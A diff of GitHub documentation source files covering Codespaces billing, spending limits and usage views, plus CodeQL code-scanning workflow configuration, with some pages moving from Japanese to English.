* The number of regions in which the prebuild is available (because a copy of the prebuild is stored in each region).
* The number of older versions of the prebuild that are retained.
- The price of storage per GB. See the table above.
- The size of the generated prebuild in GB.
- The number of regions in which the prebuild is available (because a copy of the prebuild is stored in each region).
- The number of older versions of the prebuild that are retained.
The storage cost for a prebuild is therefore calculated as: `price per GB * size (GB) * regions * versions`.
The storage cost for the prebuilds generated by a prebuild configuration is therefore calculated as: `price per GB * size (GB) * regions * versions`.
To limit the storage costs associated with prebuilds, you can choose to create prebuilds only in selected regions, and you can specify the number of older versions of prebuilds that will be retained. For more information, see "[Configuring prebuilds](/codespaces/prebuilding-your-codespaces/configuring-prebuilds#configuring-a-prebuild)."
#### Controlling the cost of prebuilds
To reduce consumption of Actions minutes, you can set a prebuild to be updated only when you make a change to your dev container configuration files, or only on a custom schedule. You can also manage your storage usage by adjusting the number of previous versions of each prebuild that are retained. For more information, see "[Configuring prebuilds](/codespaces/prebuilding-your-codespaces/configuring-prebuilds#configuring-prebuilds)."
To limit the storage costs associated with prebuilds, you can choose to create prebuilds only in selected regions, and you can specify the number of older versions of prebuilds that will be retained. For more information, see "[Configuring prebuilds](/codespaces/prebuilding-your-codespaces/configuring-prebuilds#configuring-prebuilds)."
{% note %}
@@ -116,29 +166,31 @@ Use of codespaces created using prebuilds is charged at the same rate as regular
## Setting a spending limit
{% data reusables.codespaces.codespaces-spending-limit-requirement %}
{% data reusables.codespaces.codespaces-spending-limit-requirement %}
For information on managing and changing your account's spending limit, see "[Managing your spending limit for {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-github-codespaces)."
For information on managing and changing your account's spending limit, see "[Managing your spending limit for {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/managing-the-spending-limit-for-github-codespaces)."
{% data reusables.codespaces.exporting-changes %}
## Limiting the choice of machine types
## Limiting the machine types for organization-owned codespaces
By default the machine type with the lowest valid resources is used when a codespace is created. However, users may be able to choose a machine type with more resources. They can do this either when they create a codespace, or they can change the machine type of an existing codespace. For more information, see "[Creating a codespace"](/codespaces/developing-in-codespaces/creating-a-codespace#creating-a-codespace)" and "[Changing the machine type for your codespace](/codespaces/customizing-your-codespace/changing-the-machine-type-for-your-codespace)."
By default the machine type with the lowest valid resources is used when a codespace is created. However, users may be able to choose a machine type with more resources. They can do this either when they create a codespace, or they can change the machine type of an existing codespace. For more information, see "[Creating a codespace for a repository](/codespaces/developing-in-codespaces/creating-a-codespace-for-a-repository#creating-a-codespace-for-a-repository)" and "[Changing the machine type for your codespace](/codespaces/customizing-your-codespace/changing-the-machine-type-for-your-codespace)."
If a machine type that has more resources is chosen, this will affect the per-minute charge for that codespace, as shown above.
If a machine type that has more resources is chosen, this will affect the per-hour charge for that codespace, as shown above.
Organization owners can create a policy to restrict the machine types that are available to users. For more information, see "[Restricting access to machine types](/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types)."
Organization owners can create a policy to limit the choice of machine types available to users for codespaces that are billed to an organization or enterprise account. For more information, see "[Restricting access to machine types](/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types)."
## How billing is handled for forked repositories
To incur charges to an organization account (or to an enterprise account, if the organization belongs to an enterprise), the user must be a member or collaborator of that organization, otherwise they cannot create a codespace for which the organization, or its parent enterprise, would be billed.
Usage of codespaces created from a forked repository will be billed to your personal account unless the upstream (or parent) repository is in an organization that has allowed you - as a member, or outside collaborator, of the organization - to use codespaces at the organization's expense.
For example, consider a member, or outside collaborator, of an organization that has allowed billing for codespaces for that user. If the user has permission to fork an organization-owned private repository, they can subsequently create and use a codespace for the new repository at the organization's expense. This is because the organization is the owner of the parent repository. Note that the organization owner can remove the user's access to the private repository, the forked repository, and therefore also the codespace. The organization owner can also delete the parent repository which will also delete the forked repository. For more information, see "[Managing the forking policy for your repository](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-forking-policy-for-your-repository)."
{% data reusables.codespaces.codespaces-disabling-org-billing %}
For example, a user in an organization can fork a repository within that organization, and can subsequently use a codespace billed to the organization. This is because the organization is the owner of the parent repository, and can remove the user's access, the forked repository, and the codespace.
## How billing is handled when a repository is transferred to another organization
Usage is calculated every hour. An organization pays for usage of codespaces created from any repository owned by the organization, where the organization settings permit the organization to be billed. For more information, see "[Enabling GitHub Codespaces for your organization](/codespaces/managing-codespaces-for-your-organization/enabling-github-codespaces-for-your-organization#choose-who-can-create-codespaces-that-are-billed-to-your-organization)." When a repository is transferred out of your organization, ownership and billing responsibility for any codespaces associated with that repository will change accordingly.
Usage is calculated every hour. An organization pays for usage of codespaces created from any repository owned by the organization, where the organization settings permit the organization to be billed. For more information, see "[Enabling {% data variables.product.prodname_github_codespaces %} for your organization](/codespaces/managing-codespaces-for-your-organization/enabling-github-codespaces-for-your-organization#choose-who-can-create-codespaces-that-are-billed-to-your-organization)." When a repository is transferred out of your organization, ownership and billing responsibility for any codespaces associated with that repository will change accordingly.
## What happens when users are removed

View File

@@ -5,10 +5,9 @@ intro: 'You can view your usage and set a spending limit for {% data variables.p
versions:
fpt: '*'
ghec: '*'
product: '{% data reusables.gated-features.codespaces %}'
children:
- /about-billing-for-github-codespaces
- /viewing-your-github-codespaces-usage
- /managing-spending-limits-for-github-codespaces
- /managing-the-spending-limit-for-github-codespaces
---

View File

@@ -1,72 +0,0 @@
---
title: Managing spending limits for GitHub Codespaces
intro: 'You can set a spending limit for {% data variables.product.prodname_github_codespaces %} usage.'
versions:
fpt: '*'
ghec: '*'
type: how_to
product: '{% data reusables.gated-features.codespaces %}'
topics:
- Codespaces
- Enterprise
- Organizations
- Spending limits
- User account
- Billing
shortTitle: Spending limits
redirect_from:
- /billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces
---
## About spending limits for {% data variables.product.prodname_github_codespaces %}
{% data reusables.codespaces.codespaces-spending-limit-requirement %}
{% data reusables.codespaces.codespaces-monthly-billing %}
Once you've reached your spending limit, your organization or repository will no longer be able to create new codespaces, and won't be able to start existing codespaces. Any existing codespaces that are still running will not be shutdown; if you don't change the spending limit, you will not be charged for the amount that exceeds the limit.
For more information about pricing for {% data variables.product.prodname_github_codespaces %} usage, see "[About billing for {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces)."
{% ifversion ghec %}
## Using your Azure Subscription
If you purchased {% data variables.product.prodname_enterprise %} through a Microsoft Enterprise Agreement, you can connect your Azure Subscription ID to your enterprise account to enable and pay for {% data variables.product.prodname_github_codespaces %} usage. For more information, see "[Connecting an Azure subscription to your enterprise](/billing/managing-billing-for-your-github-account/connecting-an-azure-subscription-to-your-enterprise)."
{% endif %}
## Managing the spending limit for {% data variables.product.prodname_codespaces %} for your organization
Organizations owners and billing managers can manage the spending limit for {% data variables.product.prodname_github_codespaces %} for an organization.
{% data reusables.organizations.billing-settings %}
{% data reusables.dotcom_billing.manage-spending-limit %}
{% data reusables.dotcom_billing.monthly-spending-limit-codespaces %}
{% data reusables.dotcom_billing.update-spending-limit %}
{% ifversion ghec %}
## Managing the spending limit for {% data variables.product.prodname_codespaces %} for your enterprise account
Enterprise owners and billing managers can manage the spending limit for {% data variables.product.prodname_github_codespaces %} for an enterprise account.
{% data reusables.enterprise-accounts.access-enterprise %}
{% data reusables.enterprise-accounts.settings-tab %}
{% data reusables.enterprise-accounts.billing-tab %}
1. Click **Spending Limit**.
![Spending limit tab](/assets/images/help/settings/spending-limit-tab-enterprise.png)
{% data reusables.dotcom_billing.monthly-spending-limit %}
{% data reusables.dotcom_billing.update-spending-limit %}
{% endif %}
## Exporting changes when you have reached your spending limit
{% data reusables.codespaces.exporting-changes %}
## Managing usage and spending limit email notifications
Email notifications are sent to account owners and billing managers when spending reaches 50%, 75%, 90%, and 100% of your account's spending limit.
You can disable these notifications anytime by navigating to the bottom of the **Spending Limit** page.
![Screenshot of the billing email notification settings](/assets/images/help/billing/codespaces-spending-limit-notifications.png)
## Further reading
- "[Restricting access to machine types](/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types)"
- "[Managing the cost of {% data variables.product.prodname_github_codespaces %} in your organization](/codespaces/managing-codespaces-for-your-organization/managing-the-cost-of-github-codespaces-in-your-organization)"

View File

@@ -1,9 +1,7 @@
---
title: GitHub Codespaces の使用状況の表示
title: Viewing your GitHub Codespaces usage
shortTitle: Viewing your usage
intro: '{% data variables.product.prodname_github_codespaces %}によるコンピュートの分とストレージを見ることができます。'
permissions: 'To manage billing for {% data variables.product.prodname_github_codespaces %} for an organization, you must be an organization owner or a billing manager.'
product: '{% data reusables.gated-features.codespaces %}'
intro: 'You can view the compute hours and storage used by {% data variables.product.prodname_github_codespaces %}.'
versions:
fpt: '*'
ghec: '*'
@@ -13,46 +11,63 @@ topics:
- Billing
redirect_from:
- /billing/managing-billing-for-github-codespaces/viewing-your-codespaces-usage
ms.openlocfilehash: c3024840f48bda68470b9ab12693f4a79daddb48
ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
ms.translationtype: HT
ms.contentlocale: ja-JP
ms.lasthandoff: 10/25/2022
ms.locfileid: '148107150'
---
## 組織の {% data variables.product.prodname_github_codespaces %} の使用状況を表示する
組織については、組織所有者と支払いマネージャーが {% data variables.product.prodname_github_codespaces %} の使用状況を管理できます。 Enterprise アカウントによって管理されている Organization の所有者は、Organization の課金ページで {% data variables.product.prodname_github_codespaces %} の使用状況を見ることができ、Enterprise の管理者は Enterprise 全体の使用状況を見ることができます。
## Viewing {% data variables.product.prodname_github_codespaces %} usage for your personal account
You can see how much of the usage included in your personal account you have used so far in the current monthly billing cycle. If you have set up a payment method, set a spending limit, and used all of your included usage, you can also check your bill for the current month.
{% data reusables.user-settings.access_settings %}
{% data reusables.user-settings.billing_plans %}
1. Under "{% data variables.product.prodname_codespaces %}," you can see how many core hours of {% data variables.product.prodname_github_codespaces %} compute usage and GB-months of storage you have used so far in the current billing month.
![Screenshot of the initial view of personal usage](/assets/images/help/codespaces/view-personal-usage-collapsed.png)
For information about "core hours" and "GB-months," see "[About billing for {% data variables.product.prodname_github_codespaces %}](/enterprise-cloud@latest/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces)."
1. Optionally, click **Usage hours** and **Storage** to see more details.
![Screenshot of the expanded view of personal usage](/assets/images/help/codespaces/view-personal-usage-expanded.png)
The **Included** column shows how many of the core hours of compute usage, or GB-months of storage, included free with your account, you have used so far this month. The **Paid** column shows how many billed core hours of usage, or GB-months of storage, you have used. The figures are updated once every hour.
In the screenshot above, the entire quota of included storage for the month has been used. When you've used all of either the included compute usage or storage (whichever is reached first), you must set up a payment method and a spending limit to continue using {% data variables.product.prodname_github_codespaces %} during the current billing month. For more information, see "[Adding or editing a payment method](/enterprise-cloud@latest/billing/managing-your-github-billing-settings/adding-or-editing-a-payment-method)" and "[Managing spending limits for {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/managing-the-spending-limit-for-github-codespaces#managing-the-github-codespaces-spending-limit-for-your-personal-account)."
{% data reusables.codespaces.usage-report-download %}
## Viewing {% data variables.product.prodname_github_codespaces %} usage for your organization account
Organization owners and billing managers can view {% data variables.product.prodname_github_codespaces %} usage for the organization.
{% data reusables.organizations.billing-settings %}
1. [{% data variables.product.prodname_codespaces %}] で、今月これまでに使用されたコンピューティング時間とストレージについて詳しく説明します。
1. Under "{% data variables.product.prodname_codespaces %}", view the details of the compute hours and storage used so far this month.
![分単位の使用状況の詳細](/assets/images/help/billing/codespaces-compute-storage.png)
![Screenshot of compute usage and storage details](/assets/images/help/billing/codespaces-compute-storage.png)
現在の使用制限を確認して更新することもできます。 詳しくは、「[{% data variables.product.prodname_github_codespaces %} の利用上限の管理](/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-github-codespaces)」をご覧ください。
You can also see and update your current spending limit. For more information, see "[Managing spending limits for {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/managing-the-spending-limit-for-github-codespaces)."
{% note %}
****:
* ここで示されるコストは、現在の月単位の請求期間内の累積コストです。 このページに表示される {% data variables.product.prodname_github_codespaces %} の測定されたコストは、各月次請求期間の開始時にゼロにリセットされます。 前月の未払いコストは表示されません。
* このページの図は 1 時間ごとに更新されます。
**Notes**:
* The costs shown here are the cumulative costs within the current monthly billing period. The metered costs for {% data variables.product.prodname_github_codespaces %} shown on this page are reset to zero at the start of each monthly billing period. Outstanding costs from previous months are not shown.
* The figures on this page are updated every hour.
{% endnote %}
{% data reusables.dotcom_billing.actions-packages-report-download-org-account %}このレポートに使われるデータは毎日更新されます。
1. `Product` フィールドで "Codespaces" に言及している行のみが表示されるように、レポートをフィルター処理します。
![Codespaces でフィルター処理された使用状況レポート](/assets/images/help/codespaces/CSV-usage-report.png)
{% data reusables.codespaces.usage-report-download %}
{% ifversion ghec %}
## エンタープライズ アカウントの {% data variables.product.prodname_codespaces %} の使用状況を表示する
## Viewing {% data variables.product.prodname_codespaces %} usage for your enterprise account
Enterprise アカウントについては、Enterprise 所有者と課金マネージャーが {% data variables.product.prodname_github_codespaces %} の使用状況を確認できます。
Enterprise owners and billing managers can view {% data variables.product.prodname_github_codespaces %} usage for an enterprise account.
{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.billing-tab %}
1. [{% data variables.product.prodname_codespaces %} の 1 か月間の使用量] で、Enterprise アカウント内の各 Organization の使用状況の詳細を確認します。
{% data reusables.enterprise-accounts.actions-packages-report-download-enterprise-accounts %} {% endif %}
{% data reusables.enterprise-accounts.access-enterprise %}
{% data reusables.enterprise-accounts.settings-tab %}
{% data reusables.enterprise-accounts.billing-tab %}
1. Under "{% data variables.product.prodname_codespaces %} monthly usage", view the usage details of each organization in your enterprise account.
{% data reusables.codespaces.usage-report-download %}
{% endif %}
## 参考資料
## Further reading
- [組織内の codespace を一覧表示する](/codespaces/managing-codespaces-for-your-organization/listing-the-codespaces-in-your-organization)
- "[Listing the codespaces in your organization](/codespaces/managing-codespaces-for-your-organization/listing-the-codespaces-in-your-organization)"

View File

@@ -65,7 +65,7 @@ Once you have decided on the secret types, you can do the following:
{% ifversion not ghae %}
You can use the security overview to collect this information. For more information about using the security overview, see "[Filtering alerts in the security overview](/code-security/security-overview/filtering-alerts-in-the-security-overview)."
You can use the security overview to collect this information. For more information about using the security overview, see "[Filtering alerts in security overviews](/code-security/security-overview/filtering-alerts-in-the-security-overview)."
{% endif %}

View File

@@ -47,7 +47,7 @@ Before you can configure {% data variables.product.prodname_code_scanning %} for
{% data reusables.code-scanning.edit-workflow %}
{% data variables.product.prodname_codeql %} analysis is just one type of {% data variables.product.prodname_code_scanning %} you can do in {% data variables.product.prodname_dotcom %}. {% data variables.product.prodname_marketplace %}{% ifversion ghes %} on {% data variables.product.prodname_dotcom_the_website %}{% endif %} contains other {% data variables.product.prodname_code_scanning %} workflows you can use. {% ifversion fpt or ghec %}You can find a selection of these on the "Get started with {% data variables.product.prodname_code_scanning %}" page, which you can access from the **{% octicon "shield" aria-label="The shield symbol" %} Security** tab.{% endif %} The specific examples given in this article relate to the {% data variables.product.prodname_codeql_workflow %} file.
{% data variables.product.prodname_codeql %} analysis is just one type of {% data variables.product.prodname_code_scanning %} you can do in {% data variables.product.prodname_dotcom %}. {% data variables.product.prodname_marketplace %}{% ifversion ghes %} on {% data variables.product.prodname_dotcom_the_website %}{% endif %} contains other {% data variables.product.prodname_code_scanning %} workflows you can use. {% ifversion fpt or ghec %}You can find a selection of these on the "Get started with {% data variables.product.prodname_code_scanning %}" page, which you can access from the **{% octicon "shield" aria-label="The shield symbol" %} Security** tab.{% endif %} The specific examples given in this article relate to the {% data variables.code-scanning.codeql_workflow %} file.
## Editing a {% data variables.product.prodname_code_scanning %} workflow
@@ -63,13 +63,13 @@ For more information about editing workflow files, see "[Learn {% data variables
## Configuring frequency
You can configure the {% data variables.product.prodname_codeql_workflow %} to scan code on a schedule or when specific events occur in a repository.
You can configure the {% data variables.code-scanning.codeql_workflow %} to scan code on a schedule or when specific events occur in a repository.
Scanning code when someone pushes a change, and whenever a pull request is created, prevents developers from introducing new vulnerabilities and errors into the code. Scanning code on a schedule informs you about the latest vulnerabilities and errors that {% data variables.product.company_short %}, security researchers, and the community discover, even when developers aren't actively maintaining the repository.
### Scanning on push
By default, the {% data variables.product.prodname_codeql_workflow %} uses the `on.push` event to trigger a code scan on every push to the default branch of the repository and any protected branches. For {% data variables.product.prodname_code_scanning %} to be triggered on a specified branch, the workflow must exist in that branch. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#on)."
By default, the {% data variables.code-scanning.codeql_workflow %} uses the `on.push` event to trigger a code scan on every push to the default branch of the repository and any protected branches. For {% data variables.product.prodname_code_scanning %} to be triggered on a specified branch, the workflow must exist in that branch. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#on)."
If you scan on push, then the results appear in the **Security** tab for your repository. For more information, see "[Managing code scanning alerts for your repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository#viewing-the-alerts-for-a-repository)."
@@ -77,7 +77,7 @@ Additionally, when an `on:push` scan returns results that can be mapped to an op
### Scanning pull requests
The default {% data variables.product.prodname_codeql_workflow %} uses the `pull_request` event to trigger a code scan on pull requests targeted against the default branch. {% ifversion ghes %}The `pull_request` event is not triggered if the pull request was opened from a private fork.{% else %}If a pull request is from a private fork, the `pull_request` event will only be triggered if you've selected the "Run workflows from fork pull requests" option in the repository settings. For more information, see "[Managing {% data variables.product.prodname_actions %} settings for a repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#enabling-workflows-for-private-repository-forks)."{% endif %}
The default {% data variables.code-scanning.codeql_workflow %} uses the `pull_request` event to trigger a code scan on pull requests targeted against the default branch. {% ifversion ghes %}The `pull_request` event is not triggered if the pull request was opened from a private fork.{% else %}If a pull request is from a private fork, the `pull_request` event will only be triggered if you've selected the "Run workflows from fork pull requests" option in the repository settings. For more information, see "[Managing {% data variables.product.prodname_actions %} settings for a repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#enabling-workflows-for-private-repository-forks)."{% endif %}
For more information about the `pull_request` event, see "[Events that trigger workflows](/actions/learn-github-actions/events-that-trigger-workflows#pull_request)."
@@ -123,7 +123,7 @@ For more information about using `on:pull_request:paths-ignore` and `on:pull_req
### Scanning on a schedule
If you use the default {% data variables.product.prodname_codeql_workflow %}, the workflow will scan the code in your repository once a week, in addition to the scans triggered by events. To adjust this schedule, edit the `cron` value in the workflow. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#onschedule)."
If you use the default {% data variables.code-scanning.codeql_workflow %}, the workflow will scan the code in your repository once a week, in addition to the scans triggered by events. To adjust this schedule, edit the `cron` value in the workflow. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#onschedule)."
{% note %}
@@ -133,7 +133,7 @@ If you use the default {% data variables.product.prodname_codeql_workflow %}, th
### Example
The following example shows a {% data variables.product.prodname_codeql_workflow %} for a particular repository that has a default branch called `main` and one protected branch called `protected`.
The following example shows a {% data variables.code-scanning.codeql_workflow %} for a particular repository that has a default branch called `main` and one protected branch called `protected`.
``` yaml
on:
@@ -152,7 +152,7 @@ This workflow scans:
## Specifying an operating system
If your code requires a specific operating system to compile, you can configure the operating system in your {% data variables.product.prodname_codeql_workflow %}. Edit the value of `jobs.analyze.runs-on` to specify the operating system for the machine that runs your {% data variables.product.prodname_code_scanning %} actions. {% ifversion ghes %}You specify the operating system by using an appropriate label as the second element in a two-element array, after `self-hosted`.{% else %}
If your code requires a specific operating system to compile, you can configure the operating system in your {% data variables.code-scanning.codeql_workflow %}. Edit the value of `jobs.analyze.runs-on` to specify the operating system for the machine that runs your {% data variables.product.prodname_code_scanning %} actions. {% ifversion ghes %}You specify the operating system by using an appropriate label as the second element in a two-element array, after `self-hosted`.{% else %}
``` yaml
jobs:
@@ -178,7 +178,7 @@ For recommended specifications (RAM, CPU cores, and disk) for running {% data va
## Specifying the location for {% data variables.product.prodname_codeql %} databases
In general, you do not need to worry about where the {% data variables.product.prodname_codeql_workflow %} places {% data variables.product.prodname_codeql %} databases since later steps will automatically find databases created by previous steps. However, if you are writing a custom workflow step that requires the {% data variables.product.prodname_codeql %} database to be in a specific disk location, for example to upload the database as a workflow artifact, you can specify that location using the `db-location` parameter under the `init` action.
In general, you do not need to worry about where the {% data variables.code-scanning.codeql_workflow %} places {% data variables.product.prodname_codeql %} databases since later steps will automatically find databases created by previous steps. However, if you are writing a custom workflow step that requires the {% data variables.product.prodname_codeql %} database to be in a specific disk location, for example to upload the database as a workflow artifact, you can specify that location using the `db-location` parameter under the `init` action.
``` yaml
- uses: {% data reusables.actions.action-codeql-action-init %}
@@ -186,9 +186,9 @@ In general, you do not need to worry about where the {% data variables.product.p
db-location: {% raw %}'${{ github.workspace }}/codeql_dbs'{% endraw %}
```
The {% data variables.product.prodname_codeql_workflow %} will expect the path provided in `db-location` to be writable, and either not exist, or be an empty directory. When using this parameter in a job running on a self-hosted runner or using a Docker container, it's the responsibility of the user to ensure that the chosen directory is cleared between runs, or that the databases are removed once they are no longer needed. {% ifversion fpt or ghec or ghes %} This is not necessary for jobs running on {% data variables.product.prodname_dotcom %}-hosted runners, which obtain a fresh instance and a clean filesystem each time they run. For more information, see "[About {% data variables.product.prodname_dotcom %}-hosted runners](/actions/using-github-hosted-runners/about-github-hosted-runners)."{% endif %}
The {% data variables.code-scanning.codeql_workflow %} will expect the path provided in `db-location` to be writable, and either not exist, or be an empty directory. When using this parameter in a job running on a self-hosted runner or using a Docker container, it's the responsibility of the user to ensure that the chosen directory is cleared between runs, or that the databases are removed once they are no longer needed. {% ifversion fpt or ghec or ghes %} This is not necessary for jobs running on {% data variables.product.prodname_dotcom %}-hosted runners, which obtain a fresh instance and a clean filesystem each time they run. For more information, see "[About {% data variables.product.prodname_dotcom %}-hosted runners](/actions/using-github-hosted-runners/about-github-hosted-runners)."{% endif %}
If this parameter is not used, the {% data variables.product.prodname_codeql_workflow %} will create databases in a temporary location of its own choice.
If this parameter is not used, the {% data variables.code-scanning.codeql_workflow %} will create databases in a temporary location of its own choice.
## Changing the languages that are analyzed
@@ -196,7 +196,7 @@ If this parameter is not used, the {% data variables.product.prodname_codeql_wor
{% data reusables.code-scanning.codeql-languages-bullets %}
The default {% data variables.product.prodname_codeql_workflow %} file contains a matrix called `language` which lists the languages in your repository that are analyzed. {% data variables.product.prodname_codeql %} automatically populates this matrix when you add {% data variables.product.prodname_code_scanning %} to a repository. Using the `language` matrix optimizes {% data variables.product.prodname_codeql %} to run each analysis in parallel. We recommend that all workflows adopt this configuration due to the performance benefits of parallelizing builds. For more information about matrices, see "[Using a matrix for your jobs](/actions/using-jobs/using-a-matrix-for-your-jobs)."
The default {% data variables.code-scanning.codeql_workflow %} file contains a matrix called `language` which lists the languages in your repository that are analyzed. {% data variables.product.prodname_codeql %} automatically populates this matrix when you add {% data variables.product.prodname_code_scanning %} to a repository. Using the `language` matrix optimizes {% data variables.product.prodname_codeql %} to run each analysis in parallel. We recommend that all workflows adopt this configuration due to the performance benefits of parallelizing builds. For more information about matrices, see "[Using a matrix for your jobs](/actions/using-jobs/using-a-matrix-for-your-jobs)."
{% data reusables.code-scanning.specify-language-to-analyze %}
@@ -223,7 +223,7 @@ If your workflow does not contain a matrix called `language`, then {% data varia
{% ifversion fpt or ghec %}
## Analyzing Python dependencies
For GitHub-hosted runners that use Linux only, the {% data variables.product.prodname_codeql_workflow %} will try to auto-install Python dependencies to give more results for the CodeQL analysis. You can control this behavior by specifying the `setup-python-dependencies` parameter for the action called by the "Initialize CodeQL" step. By default, this parameter is set to `true`:
For GitHub-hosted runners that use Linux only, the {% data variables.code-scanning.codeql_workflow %} will try to auto-install Python dependencies to give more results for the CodeQL analysis. You can control this behavior by specifying the `setup-python-dependencies` parameter for the action called by the "Initialize CodeQL" step. By default, this parameter is set to `true`:
- If the repository contains code written in Python, the "Initialize CodeQL" step installs the necessary dependencies on the GitHub-hosted runner. If the auto-install succeeds, the action also sets the environment variable `CODEQL_PYTHON` to the Python executable file that includes the dependencies.

View File

@@ -1,7 +1,7 @@
---
title: コンパイル済み言語の CodeQL ワークフローを構成する
title: Configuring the CodeQL workflow for compiled languages
shortTitle: Configure compiled languages
intro: '{% data variables.product.prodname_dotcom %} {% data variables.product.prodname_codeql_workflow %} を使用してコンパイル型言語で記述されたコードの脆弱性やエラーをスキャンする方法を設定できます。'
intro: 'You can configure how {% data variables.product.prodname_dotcom %} uses the {% data variables.code-scanning.codeql_workflow %} to scan code written in compiled languages for vulnerabilities and errors.'
product: '{% data reusables.gated-features.code-scanning %}'
permissions: 'If you have write permissions to a repository, you can configure {% data variables.product.prodname_code_scanning %} for that repository.'
redirect_from:
@@ -25,106 +25,107 @@ topics:
- C/C++
- C#
- Java
ms.openlocfilehash: d6d0f0f881b3fc56c3abe50ff84177f9417d81bf
ms.sourcegitcommit: 75c3c90cb610e0bb9a5ea014937507e8aab0eb3a
ms.translationtype: HT
ms.contentlocale: ja-JP
ms.lasthandoff: 11/04/2022
ms.locfileid: '148132996'
---
{% data reusables.code-scanning.beta %} {% data reusables.code-scanning.enterprise-enable-code-scanning-actions %}
## {% data variables.product.prodname_codeql_workflow %} とコンパイル型言語について
{% data variables.product.prodname_dotcom %} がリポジトリに対して {% data variables.product.prodname_code_scanning %} を実行できるようにするには、{% data variables.product.prodname_actions %} ワークフローをリポジトリに追加します。 {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} の場合、{% data variables.product.prodname_codeql_workflow %}. を追加します。 詳細については、「[リポジトリの {% data variables.product.prodname_code_scanning %} の設定](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)」を参照してください。
{% data reusables.code-scanning.beta %}
{% data reusables.code-scanning.enterprise-enable-code-scanning-actions %}
{% data reusables.code-scanning.edit-workflow %} {% data variables.product.prodname_code_scanning %} の構成とワークフロー ファイルの編集に関する一般的な情報については、「[{% data variables.product.prodname_code_scanning %} を構成する](/code-security/secure-coding/configuring-code-scanning)」および「[{% data variables.product.prodname_actions %} について学ぶ](/actions/learn-github-actions)」をご覧ください。
## About the {% data variables.code-scanning.codeql_workflow %} and compiled languages
## {% data variables.product.prodname_codeql %} の autobuild について
You set up {% data variables.product.prodname_dotcom %} to run {% data variables.product.prodname_code_scanning %} for your repository by adding a {% data variables.product.prodname_actions %} workflow to the repository. For {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %}, you add the {% data variables.code-scanning.codeql_workflow %}. For more information, see "[Setting up {% data variables.product.prodname_code_scanning %} for a repository](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)."
{% data variables.product.prodname_code_scanning_capc %} は、1 つ以上のデータベースに対してクエリを実行することにより機能します。 各データベースには、リポジトリにあるすべてのコードを 1 つの言語で表わしたものが含まれています。
コンパイル型言語の C/C++、C#、{% ifversion codeql-go-autobuild %}Go、{% endif %}Java では、このデータベースを生成するプロセスに、コードのビルドとデータの抽出が含まれています。 {% data reusables.code-scanning.analyze-go %}
{% data reusables.code-scanning.edit-workflow %}
For general information about configuring {% data variables.product.prodname_code_scanning %} and editing workflow files, see "[Configuring {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/configuring-code-scanning)" and "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)."
## About autobuild for {% data variables.product.prodname_codeql %}
{% data variables.product.prodname_code_scanning_capc %} works by running queries against one or more databases. Each database contains a representation of all of the code in a single language in your repository.
For the compiled languages C/C++, C#,{% ifversion codeql-go-autobuild %} Go,{% endif %} and Java, the process of populating this database involves building the code and extracting data. {% data reusables.code-scanning.analyze-go %}
{% data reusables.code-scanning.autobuild-compiled-languages %}
ワークフローで `language` マトリックスを使っている場合、`autobuild` はマトリックスに列記された各コンパイル型言語のビルドを試行します。 マトリックスがない場合、`autobuild` は、サポートされているコンパイル型言語で、リポジトリ内のソース ファイルの数が最も多いもののビルドを試みます。 Go を除いて、明示的にビルドコマンドを使用しない限り、リポジトリにある他のコンパイル型言語の解析は失敗します。
If your workflow uses a `language` matrix, `autobuild` attempts to build each of the compiled languages listed in the matrix. Without a matrix `autobuild` attempts to build the supported compiled language that has the most source files in the repository. With the exception of Go, analysis of other compiled languages in your repository will fail unless you supply explicit build commands.
{% note %}
{% ifversion ghae %} **注**: {% data reusables.actions.self-hosted-runners-software %} {% else %} **注**: {% data variables.product.prodname_actions %} にセルフホステッド ランナーを使う場合は、`autobuild` プロセスを使うために追加のソフトウェアをインストールすることが必要になる場合があります。 さらに、リポジトリに特定のバージョンのビルドツールが必要な場合は、手動でインストールする必要があります。 詳しくは、「[{% data variables.product.prodname_dotcom %} ホステッド ランナーの概要](/actions/reference/specifications-for-github-hosted-runners/#supported-software)」をご覧ください。
{% ifversion ghae %}
**Note**: {% data reusables.actions.self-hosted-runners-software %}
{% else %}
**Note**: If you use self-hosted runners for {% data variables.product.prodname_actions %}, you may need to install additional software to use the `autobuild` process. Additionally, if your repository requires a specific version of a build tool, you may need to install it manually. For more information, see "[Specifications for {% data variables.product.prodname_dotcom %}-hosted runners](/actions/reference/specifications-for-github-hosted-runners/#supported-software)".
{% endif %}
{% endnote %}
### C/C++
| サポートされているシステムの種類 | システム名 |
| Supported system type | System name |
|----|----|
| オペレーティング システム | WindowsmacOSLinux |
